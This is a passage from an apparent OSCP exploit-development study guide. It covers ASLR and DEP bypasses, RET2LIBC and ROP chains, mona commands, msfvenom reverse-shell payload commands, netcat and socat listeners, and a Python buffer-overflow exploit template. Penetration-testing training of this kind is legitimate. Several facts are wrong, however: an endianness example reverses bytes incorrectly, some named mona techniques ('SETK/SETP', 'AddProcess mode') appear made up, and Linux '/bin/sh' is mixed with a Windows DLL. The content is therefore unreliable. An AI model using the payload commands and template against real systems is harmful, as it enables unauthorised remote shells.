- Changes addresses on every execution
- Makes return addresses unreliable

Technique 1: Use Non-ASLR Module

1. !mona noaslr
2. List modules without ASLR
3. Use addresses from these modules
4. Addresses remain constant across runs

Technique 2: Information Leak

1. Find a way to leak memory addresses
2. Use leaked address to calculate module base
3. Calculate correct return address
4. More advanced, used in real-world exploits

Technique 3: Partial Overwrite

1. If you can only overwrite part of EIP
2. Target the lower bytes
3. Brute force the randomized portion
4. Works when ASLR entropy is low

DEP and ASLR Decision Tree

flowchart TD
    A[Target has DEP?] -->|Yes| B[Target has ASLR?]
    A -->|No| C[Standard exploit works]
    B -->|Yes| D[Both protections active]
    D --> E[Use RET2LIBC / ROP]
    D --> F[Find info leak + SETK]
    B -->|No| G[DEP only]
    G --> H[Use non-DEP module]
    G --> I[Use SETK/SETP]
    C --> J[Proceed with standard exploit]
    E --> K[Advanced techniques needed]
    F --> K
    H --> J
    I --> J

16. RET2LIBC and ROP Chains

RET2LIBC Basics

What is RET2LIBC?

RET2LIBC = Return to libc

Instead of executing shellcode:
1. Redirect execution to existing library code
2. Call system() with "/bin/sh" argument
3. Use existing executable code in memory

Works because:
- Code sections are always executable
- libc functions are already in memory
- Bypasses DEP completely

RET2LIBC Buffer Layout

┌──────────────┬──────────────┬──────────────┬──────────────┐
│   Offset     │  RET address │  Dummy / EBP │ system() addr│
│  (Filler)    │  (to padding)│  (placeholder)│ in libc      │
├──────────────┼──────────────┼──────────────┼──────────────┤
│              │              │              │ "/bin/sh"    │
│              │              │              │  address     │
└──────────────┴──────────────┴──────────────┴──────────────┘

Stack layout at return:
  system("/bin/sh")
  ↑     ↑
  │     └── Address of string "/bin/sh" on stack
  └── Address of system() in libc

Finding libc Functions with Mona

!mona find -s "system" -m msvcrt.dll
!mona
!mona got -m msvcrt.dll

# Find /bin/sh string
!mona find -s "/bin/sh" -w

ROP Chains Basics

What is ROP?

ROP = Return Oriented Programming

Concept:
1. Find small instruction sequences (gadgets) in memory
2. Each gadget ends with RET
3. Chain gadgets together via the stack
4. Build arbitrary functionality from existing code

Gadget example:
  pop eax
  pop ecx
  ret

Each gadget is like a building block.
Chain enough gadgets to do anything.

ROP Chain Structure

┌─────────────────────────┐
│ Offset (filler)         │
├─────────────────────────┤
│ Gadget 1 address        │ ← EIP lands here
├─────────────────────────┤
│ Gadget 1 argument       │
├─────────────────────────┤
│ Gadget 2 address        │ ← RET from gadget 1
├─────────────────────────┤
│ Gadget 2 argument       │
├─────────────────────────┤
│ Gadget 3 address        │ ← RET from gadget 2
├─────────────────────────┤
│ ...                     │
└─────────────────────────┘

Finding ROP Gadgets with Mona

# Find all gadgets in a module
!mona rop -m <module>

# Find specific gadget types
!mona rop -m <module> -t s       # Stack pivots
!mona rop -m <module> -t d       # POP POP RET
!mona rop -m <module> -t e       # Execute gadgets

# Find specific instructions
!mona find -r "pop.*ret" -m <module>
!mona find -r "xor.*ret" -m <module>

Common ROP Gadgets

Gadget Purpose
POP EAX; RET Load value into EAX
POP EBX; RET Load value into EBX
POP ECX; RET Load value into ECX
POP EDX; RET Load value into EDX
POP EAX; POP EBX; RET Load two values
XOR EAX, EAX; RET Zero out EAX
INC EAX; RET Increment EAX
PUSH EAX; RET Push EAX to stack
MOV [ESI], EAX; RET Write to memory
CALL [EAX] Call function in EAX

When to Use Advanced Techniques

Scenario Technique
DEP only, no ASLR Non-DEP module or SETK
ASLR only, no DEP Non-ASLR module
Both DEP and ASLR ROP chain or RET2LIBC
Full RELRO + PIE Info leak + ROP
OSCP exams Usually standard exploits suffice

Note for OSCP: Most OSCP machines use standard buffer overflows without DEP/ASLR. RET2LIBC and ROP are bonus knowledge but may appear on harder machines.


17. Quick Reference Tables

Complete Exploit Development Workflow

Phase Step Tool / Command Output
1. Recon Identify service nmap -sV -p <port> <target> Service + version
2. Search Find exploit searchsploit <service> Exploit ID
3. Copy Get exploit searchsploit -m <ID> Local copy
4. Analyze Read code cat exploit.py Understand structure
5. Pattern Create pattern pattern_create.rb -l 3000 Unique pattern
6. Crash Send exploit python exploit.py Target crashes
7. Offset Find offset pattern_offset.rb -q <EIP> Exact offset
8. Verify Test offset AAAA + BBBB + CCCC EIP = 0x42424242
9. Badchars Generate array !mona bytearray -b "\x00" bytearray.txt
10. Test BC Find bad chars !mona bs <addr> Bad char list
11. Module List modules !mona modules Module table
12. JMP Find address !mona jmp -r esp -m <mod> Return address
13. Shellcode Generate msfvenom ... -b "<badchars>" Shellcode
14. Assemble Build exploit Edit script Final exploit
15. Test Run exploit python exploit.py Shell or debug

Bad Characters Quick Reference

Byte Name Common? Protocols
\x00 Null ALWAYS All
\x0a Line Feed Very Common FTP, HTTP, SIP
\x0d Carriage Return Very Common FTP, HTTP, SIP
\x20 Space Sometimes HTTP headers
\x26 Ampersand Rare Some custom
\x3a Colon Rare Some protocols
\x5c Backslash Rare Windows paths

msfvenom Quick Reference

# Template command
msfvenom -p <payload> \
  LHOST=<your_ip> \
  LPORT=<port> \
  -b "<bad_chars>" \
  -e <encoder> \
  -i <iterations> \
  -f <format> \
  -o <output_file>

# Most common for OSCP
msfvenom -p windows/shell/reverse_tcp \
  LHOST=192.168.1.50 LPORT=443 \
  -b "\x00\x0a\x0d" \
  -f python

# With encoder
msfvenom -p windows/shell/reverse_tcp \
  LHOST=192.168.1.50 LPORT=443 \
  -b "\x00\x0a\x0d" \
  -e x86/shikata_ga_nai -i 5 \
  -f python

Mona Quick Reference

!mona config -set workingfolder c:\mona\%p
!mona pc -l 3000                    # Create pattern
!mona po 0x<eip_value>              # Find offset
!mona findmsp                       # Quick spray analysis
!mona bytearray -b "\x00"           # Bad char array
!mona bs <address>                  # Find bad chars
!mona modules                       # List modules
!mona noaslr                        # Non-ASLR modules
!mona jmp -r esp -m <module>        # Find JMP ESP
!mona find -s "\xff\xe4" -m <module> # Find JMP ESP raw
!mona compare -f <file> -a <addr>   # Compare memory
!mona suggest -m <module>           # Suggest gadgets

Listener Commands

# Netcat listener
nc -lvnp 443
rlwrap nc -lvnp 443

# Socat listener (better for Windows)
socat TCP-LISTEN:443,reuseaddr,fork EXEC:/bin/bash

# Metasploit handler
use exploit/multi/handler
set PAYLOAD windows/shell/reverse_tcp
set LHOST 192.168.1.50
set LPORT 443
exploit

Python Socket Template

#!/usr/bin/python
import socket, sys, os

# Configuration
HOST = "192.168.1.100"
PORT = 21

# Payload
offset = b"A" * <OFFSET>
eip = b"\x??\x??\x??\x??"     # JMP ESP address
nops = b"\x90" * 16
shellcode = b""                # msfvenom output
padding = b"\x90" * (500 - len(shellcode))

# Assemble
buffer = b"<COMMAND> " + offset + eip + nops + shellcode + padding + b"\r\n"

# Send
try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((HOST, PORT))
    s.recv(1024)
    s.send(buffer)
    s.close()
    print("[+] Exploit sent!")
except Exception as e:
    print(f"[-] Error: {e}")

Appendix A: Common Error Patterns and Fixes

Error Cause Fix
TypeError: can't concat bytes to str Python 3 string/bytes mismatch Use b"" prefix for all byte strings
ConnectionRefusedError Service not running or wrong port Verify with nmap
EIP not overwritten Offset wrong Recalculate with pattern_offset
Access Violation at shellcode DEP enabled Use non-DEP module or ROP
Shellcode corrupted in memory Bad characters present Regenerate with correct -b flag
No shell received Wrong LHOST Verify your IP in shellcode
Connection timed out Firewall blocking Try port 443 or 80
Module address changed ASLR enabled Use non-ASLR module
SEH chain corrupted SafeSEH enabled Use non-SafeSEH module
Exploit works in debugger, not live Timing issues AddProcess mode

Appendix B: Endianness Converter Reference

Address Little-Endian Bytes
0x7c806ba6 \x6a\xba\x80\x7c
0x625013b7 \xb7\x13\x50\x62
0x10012345 \x45\x23\x01\x10
0x00401000 \x00\x10\x40\x00 (has null byte!)

Rule: Write the address backwards, byte by byte.

Appendix C: OSCP Exam Tips

  1. Always test bad characters — never assume only \x00
  2. Always verify the offset — never trust the exploit’s offset
  3. Always check module protections — ASLR/DEP/SafeSEH
  4. Keep a listener running — before sending the exploit
  5. Use port 443 — less likely to be blocked
  6. Take screenshots — document your process
  7. Try multiple exploits — one vulnerability, multiple CVEs
  8. Read the exploit carefully — understand before modifying
  9. Use Immunity + Mona — don’t guess, verify
  10. Be patient — fixing exploits takes iteration

End of Chapter 10: Fixing Exploits

This guide covers the essential techniques for adapting and debugging exploits — the most critical skill for OSCP success.